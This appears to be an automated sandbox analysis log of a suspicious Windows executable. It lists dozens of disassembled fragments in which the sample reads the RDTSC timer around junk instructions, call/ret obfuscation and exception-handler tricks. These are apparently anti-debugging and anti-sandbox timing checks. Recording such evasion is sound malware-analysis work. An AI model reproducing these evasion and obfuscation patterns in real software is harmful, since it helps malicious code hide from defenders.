Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 579F9B second address: 579F9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 57AD81 second address: 57AD85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 57F6FC second address: 57F703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 57F703 second address: 57F709 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 57F709 second address: 57F780 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA948C4CB26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007FA948C4CB28h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 cld 0x00000028 movzx ebx, di 0x0000002b jmp 00007FA948C4CB2Fh 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007FA948C4CB28h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e xchg eax, esi 0x0000004f jmp 00007FA948C4CB32h 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5806CA second address: 5806D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 581530 second address: 581535 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 580865 second address: 58087B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push esi 0x00000008 jne 00007FA948B16F76h 0x0000000e pop esi 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 581535 second address: 581588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA948C4CB2Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007FA948C4CB28h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 mov dword ptr [ebp+1245F012h], esi 0x0000002f push 00000000h 0x00000031 mov edi, dword ptr [ebp+122D38DEh] 0x00000037 push 00000000h 0x00000039 movzx edi, cx 0x0000003c push eax 0x0000003d push esi 0x0000003e push eax 0x0000003f push edx 0x00000040 push ecx 0x00000041 pop ecx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58087B second address: 580886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA948B16F76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 580886 second address: 580890 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FA948C4CB26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5825C0 second address: 5825C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5825C6 second address: 5825CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5825CA second address: 5825CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58273F second address: 58277F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FA948C4CB33h 0x00000013 jmp 00007FA948C4CB39h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5837FD second address: 583801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 583801 second address: 58380F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA948C4CB2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58380F second address: 583813 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58565F second address: 585663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 583813 second address: 583826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FA948B16F76h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 585663 second address: 585669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 583826 second address: 58382C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 585669 second address: 585670 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58667F second address: 586684 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 586684 second address: 5866E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop edi 0x0000000d pop eax 0x0000000e nop 0x0000000f mov edi, dword ptr [ebp+12456397h] 0x00000015 push 00000000h 0x00000017 mov bl, 26h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007FA948C4CB28h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 xchg eax, esi 0x00000036 jno 00007FA948C4CB34h 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FA948C4CB2Bh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5866E2 second address: 5866E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58681E second address: 586822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 586822 second address: 586828 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 586828 second address: 58683F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA948C4CB33h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58683F second address: 586851 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a jng 00007FA948B16F7Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5306BC second address: 5306C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5306C0 second address: 5306EE instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA948B16F76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jmp 00007FA948B16F83h 0x00000015 pop ecx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push edi 0x0000001a pop edi 0x0000001b push edi 0x0000001c pop edi 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 589A4E second address: 589A53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 589A53 second address: 589ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA948B16F76h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e ja 00007FA948B16F84h 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007FA948B16F78h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 xor dword ptr [ebp+12460F10h], eax 0x00000037 movsx edi, dx 0x0000003a mov bx, si 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push edx 0x00000042 call 00007FA948B16F78h 0x00000047 pop edx 0x00000048 mov dword ptr [esp+04h], edx 0x0000004c add dword ptr [esp+04h], 0000001Bh 0x00000054 inc edx 0x00000055 push edx 0x00000056 ret 0x00000057 pop edx 0x00000058 ret 0x00000059 push eax 0x0000005a pushad 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 589ACA second address: 589AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58A998 second address: 58AA1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push eax 0x0000000a mov dword ptr [ebp+124698DEh], esi 0x00000010 pop ebx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007FA948B16F78h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d mov edi, ebx 0x0000002f mov edi, 3A60A15Fh 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 call 00007FA948B16F78h 0x0000003e pop ebx 0x0000003f mov dword ptr [esp+04h], ebx 0x00000043 add dword ptr [esp+04h], 0000001Ah 0x0000004b inc ebx 0x0000004c push ebx 0x0000004d ret 0x0000004e pop ebx 0x0000004f ret 0x00000050 mov edi, 62B19D89h 0x00000055 movzx ebx, dx 0x00000058 push edx 0x00000059 mov dword ptr [ebp+122D1E40h], eax 0x0000005f pop edi 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 jmp 00007FA948B16F83h 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58AA1F second address: 58AA24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58AA24 second address: 58AA29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 589C61 second address: 589C6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FA948C4CB26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 589C6B second address: 589CF3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push dword ptr fs:[00000000h] 0x00000010 pushad 0x00000011 push esi 0x00000012 sbb ebx, 0ECF18D6h 0x00000018 pop eax 0x00000019 popad 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 push edx 0x00000022 mov dword ptr [ebp+12457752h], esi 0x00000028 pop ebx 0x00000029 mov eax, dword ptr [ebp+122D0C81h] 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007FA948B16F78h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 00000015h 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 jmp 00007FA948B16F7Dh 0x0000004e push FFFFFFFFh 0x00000050 sub dword ptr [ebp+1244DB22h], ecx 0x00000056 nop 0x00000057 push ebx 0x00000058 push ecx 0x00000059 jg 00007FA948B16F76h 0x0000005f pop ecx 0x00000060 pop ebx 0x00000061 push eax 0x00000062 pushad 0x00000063 jmp 00007FA948B16F87h 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5877AA second address: 5877C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5877C8 second address: 5877DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007FA948B16F8Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5877DA second address: 5877DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58BDB4 second address: 58BE2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 js 00007FA948B16F7Ch 0x0000000f mov dword ptr [ebp+1244D71Ah], esi 0x00000015 push dword ptr fs:[00000000h] 0x0000001c jmp 00007FA948B16F88h 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 push 00000000h 0x0000002a push edx 0x0000002b call 00007FA948B16F78h 0x00000030 pop edx 0x00000031 mov dword ptr [esp+04h], edx 0x00000035 add dword ptr [esp+04h], 0000001Dh 0x0000003d inc edx 0x0000003e push edx 0x0000003f ret 0x00000040 pop edx 0x00000041 ret 0x00000042 mov ebx, edi 0x00000044 mov eax, dword ptr [ebp+122D1241h] 0x0000004a push FFFFFFFFh 0x0000004c mov ebx, 7175E86Fh 0x00000051 nop 0x00000052 jc 00007FA948B16F80h 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58BE2D second address: 58BE50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA948C4CB38h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58BE50 second address: 58BE54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58BE54 second address: 58BE62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FA948C4CB26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58EDCA second address: 58EDCF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58DD8E second address: 58DD92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58F066 second address: 58F06A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58F06A second address: 58F081 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58F081 second address: 58F0A3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jc 00007FA948B16F76h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jmp 00007FA948B16F81h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 58F0A3 second address: 58F0AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 596F5D second address: 596F67 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA948B16F7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5970BA second address: 5970E1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA948C4CB2Eh 0x00000008 pushad 0x00000009 jmp 00007FA948C4CB2Eh 0x0000000e jo 00007FA948C4CB26h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5973D2 second address: 5973EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F89h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 59C855 second address: 59C871 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA948C4CB2Ah 0x00000008 jg 00007FA948C4CB26h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 59C871 second address: 59C87E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jbe 00007FA948B16F7Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 59C87E second address: 59C88C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 59C88C second address: 59C890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 59C890 second address: 59C894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 59C923 second address: 59C927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 59C927 second address: 59C92B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 59CA75 second address: 59CA79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A1965 second address: 5A196C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A196C second address: 5A1982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA948B16F76h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e ja 00007FA948B16F76h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A1982 second address: 5A19A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA948C4CB2Ah 0x0000000c jmp 00007FA948C4CB33h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A1C8C second address: 5A1C90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A21E5 second address: 5A21EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A21EB second address: 5A21EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A7B21 second address: 5A7B3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FA948C4CB2Dh 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A7B3C second address: 5A7B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 533D77 second address: 533D7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 533D7E second address: 533D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 js 00007FA948B16F7Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A67B9 second address: 5A67C9 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA948C4CB26h 0x00000008 jnl 00007FA948C4CB26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A67C9 second address: 5A67CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A67CF second address: 5A67D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A67D3 second address: 5A67D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A6A8A second address: 5A6A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A6A94 second address: 5A6A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
